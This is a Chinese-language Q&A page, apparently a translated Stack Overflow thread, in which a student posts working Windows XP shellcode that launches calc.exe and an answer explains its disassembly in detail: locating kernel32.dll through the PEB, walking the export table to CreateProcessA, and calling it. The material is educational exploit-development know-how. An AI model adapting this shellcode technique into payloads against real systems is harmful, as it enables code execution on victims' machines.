assembly - 打开Calc.exe的Shellcode太长太复杂,看不懂!我的第一个漏洞利用程序
问题描述
我使用我在网上找到的 shellcode 在 Windows XP 操作系统上编写了我的第一个漏洞利用程序。它打开计算器,整个程序成功运行。然而,即使我自己没有编写 shellcode,我也必须通过反汇编非常清楚它的作用。事实证明我的 shellcode 很长而且很复杂(甚至我的老师也这么说)。这是二进制文件:
char shellcode[] =
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
"\x57\x78\x01\xc2\x8b\x7a\x20\x01"
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
"\x45\x81\x3e\x43\x72\x65\x61\x75"
"\xf2\x81\x7e\x08\x6f\x63\x65\x73"
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
"\xb1\xff\x53\xe2\xfd\x68\x63\x61"
"\x6c\x63\x89\xe2\x52\x52\x53\x53"
"\x53\x53\x53\x53\x52\x53\xff\xd7";
这是反汇编的东西:
0: 31 db xor ebx,ebx
2: 64 8b 7b 30 mov edi,DWORD PTR fs:[ebx+0x30]
6: 8b 7f 0c mov edi,DWORD PTR [edi+0xc]
9: 8b 7f 1c mov edi,DWORD PTR [edi+0x1c]
c: 8b 47 08 mov eax,DWORD PTR [edi+0x8]
f: 8b 77 20 mov esi,DWORD PTR [edi+0x20]
12: 8b 3f mov edi,DWORD PTR [edi]
14: 80 7e 0c 33 cmp BYTE PTR [esi+0xc],0x33
18: 75 f2 jne 0xc
1a: 89 c7 mov edi,eax
1c: 03 78 3c add edi,DWORD PTR [eax+0x3c]
1f: 8b 57 78 mov edx,DWORD PTR [edi+0x78]
22: 01 c2 add edx,eax
24: 8b 7a 20 mov edi,DWORD PTR [edx+0x20]
27: 01 c7 add edi,eax
29: 89 dd mov ebp,ebx
2b: 8b 34 af mov esi,DWORD PTR [edi+ebp*4]
2e: 01 c6 add esi,eax
30: 45 inc ebp
31: 81 3e 43 72 65 61 cmp DWORD PTR [esi],0x61657243
37: 75 f2 jne 0x2b
39: 81 7e 08 6f 63 65 73 cmp DWORD PTR [esi+0x8],0x7365636f
40: 75 e9 jne 0x2b
42: 8b 7a 24 mov edi,DWORD PTR [edx+0x24]
45: 01 c7 add edi,eax
47: 66 8b 2c 6f mov bp,WORD PTR [edi+ebp*2]
4b: 8b 7a 1c mov edi,DWORD PTR [edx+0x1c]
4e: 01 c7 add edi,eax
50: 8b 7c af fc mov edi,DWORD PTR [edi+ebp*4-0x4]
54: 01 c7 add edi,eax
56: 89 d9 mov ecx,ebx
58: b1 ff mov cl,0xff
5a: 53 push ebx
5b: e2 fd loop 0x5a
5d: 68 63 61 6c 63 push 0x636c6163
62: 89 e2 mov edx,esp
64: 52 push edx
65: 52 push edx
66: 53 push ebx
67: 53 push ebx
68: 53 push ebx
69: 53 push ebx
6a: 53 push ebx
6b: 53 push ebx
6c: 52 push edx
6d: 53 push ebx
6e: ff d7 call edi
如您所知,这很长而且令人困惑。谁能解释它的作用?我更习惯于 shellcode 将一些函数地址推送到寄存器然后调用它......这对我来说太高级了!提前致谢:)
解决方案
Windows API 没有像在 Linux/BSD 中那样根据系统调用来定义。
为了调用 API,程序必须加载包含的 DLL 并找到导出过程的地址(这个过程可以是完整的 API 实现,也可以是实际syscall
指令周围的小存根)。
要使 shellcode 能够调用 API,它必须加载 DLL 并找到 API 导出过程。
某些 DLL 总是被加载,即使在加载的程序的 PE 中没有监听依赖项,其中kernel32.dll
.
shellcode 的第一部分是定位 的基地址kernel32.dll
,它是通过利用PEB_LDR_DATA
结构来实现的。
此结构包含已加载模块 (DLL) 的列表及其名称和基地址。
实际上有三个双链表,都指向相同的对象,但顺序不同,偏移量略有不同。
shellcode 正在使用 list InInitializationOrderModuleList
。
PEB_LDR_DATA
位于PEB
其中又位于 中TEB
。位于 指向的段
中。 TEB
fs
回顾一下:
FS -> TEB -> PEB -> PEB_LDR_DATA -> InInitializationOrderModuleList
这里是第一部分的描述
; Zeroes EBX
0: 31 db xor ebx,ebx
; FS points to the TEB, TEB+0x30 is a pointer to the PEB
2: 64 8b 7b 30 mov edi,DWORD PTR fs:[ebx+0x30]
; PEB+0xc is a pointer to PEB_LDR_DATA
6: 8b 7f 0c mov edi,DWORD PTR [edi+0xc]
; PEB_LDR_DATA is a pointer to InInitializationOrderModuleList
; EDI points to a LIST_ENTRY structure
9: 8b 7f 1c mov edi,DWORD PTR [edi+0x1c]
; Start of a loop
; EAX = Base address of the current module
c: 8b 47 08 mov eax,DWORD PTR [edi+0x8]
; ESI = Ptr to UNICODE basename of the current module
f: 8b 77 20 mov esi,DWORD PTR [edi+0x20]
; EDI = Ptr to FLink member
; Move the pointer to the next item
12: 8b 3f mov edi,DWORD PTR [edi]
; Check if character 7 of the DLL base name is 3 (matches kernel32.dll)
14: 80 7e 0c 33 cmp BYTE PTR [esi+0xc],0x33
18: 75 f2 jne 0xc
这里可能令人困惑的是,InInitializationOrderModuleList
成员是指向LIST_ENTRY
结构的指针,这是一个可变大小的结构;在偏移量 0 和 4 必须有FLink
和BLink
成员后跟自定义数据。Windows 只为每个 DLL 保留一个LDR_MODULE
结构,这三个列表被简单地重新排列,以便遍历它们产生预期的顺序。
此外,每个列表都指向的偏移量LDR_MODULE
,具体来说,InInitializationOrderModuleList
项目指向 的InInitializationOrderLinks
成员LDR_MODULE
。
有关详细和更好的解释,请参见此处。
第一部分的最终结果是 的基地址kernel32.dll
在eax
.
基地址很重要,因为 Windows 将 MZ 和 PE 标头保存在内存中,因此加载的模块只是一个“扩展的”PE。
特别是它是一个有效的 PE。PE 布局可以在 Wikipedia 上
找到。
shellcode 的第二部分将尝试查找CreateProcessA
.
为此,它需要走 PE 的出口部分。
标头中的大多数(全部?)字段是相对于标头本身开始的偏移量,当文件加载到内存中时,该偏移量称为 RVA(相对虚拟地址,相对于基地址)。
因此,您会看到一些add
将 RVA 转换为 VA(绝对虚拟地址)的方法。
例如,此处记录了导出部分。
有一个带有指向导出函数名称的指针的表,该表与序数表耦合(通过它们的索引)。
如果名称CreateWindowEx
在名称表中具有索引 3,则通过查看序数表中的索引 3,我们可以找到它的序数。
函数的序号只是入口点地址表的索引。
该结构的布局是为了通过其序号快速查找函数,但可以采取额外的步骤并使用名称来代替。
回顾一下:
Base address -> PE header -> Export section -> Index of "CreateProcessA" in the names table -> Index of "CreateProcessA" in the ordinals table -> Entry-point of "CreateProcessA"
注释代码是
;EDI = MZ Header
1a: 89 c7 mov edi,eax
;EDI = PE Header
1c: 03 78 3c add edi,DWORD PTR [eax+0x3c]
;EDX = Export section RVA
1f: 8b 57 78 mov edx,DWORD PTR [edi+0x78]
;EDX = Export section VA
22: 01 c2 add edx,eax
;EDI = VA of Names table
24: 8b 7a 20 mov edi,DWORD PTR [edx+0x20]
27: 01 c7 add edi,eax
; Start of a loop over the names
; I = 0
29: 89 dd mov ebp,ebx
; ESI = ptr to the exported function name
2b: 8b 34 af mov esi,DWORD PTR [edi+ebp*4]
2e: 01 c6 add esi,eax
; I++
30: 45 inc ebp
; Name starts with 'Crea'
; Mind the endianness
31: 81 3e 43 72 65 61 cmp DWORD PTR [esi],0x61657243
37: 75 f2 jne 0x2b
; Name has 'oces' at char 9?
; Mind the endianness
39: 81 7e 08 6f 63 65 73 cmp DWORD PTR [esi+0x8],0x7365636f
40: 75 e9 jne 0x2b
;Name CreateProcessA found
;EBP = Index into the names table of CreateProcessA
; EDI = VA of the Ordinals table
42: 8b 7a 24 mov edi,DWORD PTR [edx+0x24]
45: 01 c7 add edi,eax
; BP = Ordinal number of CreateProcessA
47: 66 8b 2c 6f mov bp,WORD PTR [edi+ebp*2]
; EDI = VA of the Entry-points table
4b: 8b 7a 1c mov edi,DWORD PTR [edx+0x1c]
4e: 01 c7 add edi,eax
; EDI = VA of CreateProcessA
50: 8b 7c af fc mov edi,DWORD PTR [edi+ebp*4-0x4]
54: 01 c7 add edi,eax
第 2 部分的最终结果是CreateProcessA
第三部分也是最后一部分只是调用CreateProcessA
.
唯一奇怪的是这个
56: 89 d9 mov ecx,ebx
58: b1 ff mov cl,0xff
5a: 53 push ebx
5b: e2 fd loop 0x5a
它创建了一个 255*4 字节的零缓冲区,对我来说似乎没用。
其余的应该是你习惯的那种常见的 shellcode。
虽然重新编写这个 shellcode 有点乏味,但我建议在你的职业生涯中至少自己经历一次。
我的意思是再次检查它,检查偏移量等等。
这很重要,因为这种 shellcode 非常标准(任何沙箱都会检测到它)并且可以被视为更高级技术的基本块。
还要注意 shellcode 所采用的快捷方式:它不是 100% 的故障安全(它不会准确 kernel32.dll
检查and CreateProcessA
),但它足够正确,可以工作。
这也是很典型的。
推荐阅读
- dart - 如何获取存储中的所有图像文件
- python-3.x - 该表显示在主窗口而不是顶层窗口中
- regex - 现在需要正则表达式(日期)格式
- r - 使用 facet_wrap 时数据在 x 轴上移动
- spring-boot - 有没有办法知道java应用程序的加载时间?
- excel - 如何从 Excel 中创建的联系人列表重新创建家庭邮寄列表?
- postgresql - 使用嵌套对象(结构)在 Go API 中插入数据
- javascript - 如何在 Typescript + Node.js 中使用 p5.sound
- react-native - npm 5 及以上版本是否与 react native 兼容?
- javascript - 已解决:我的 setState 函数在 IOS 上不起作用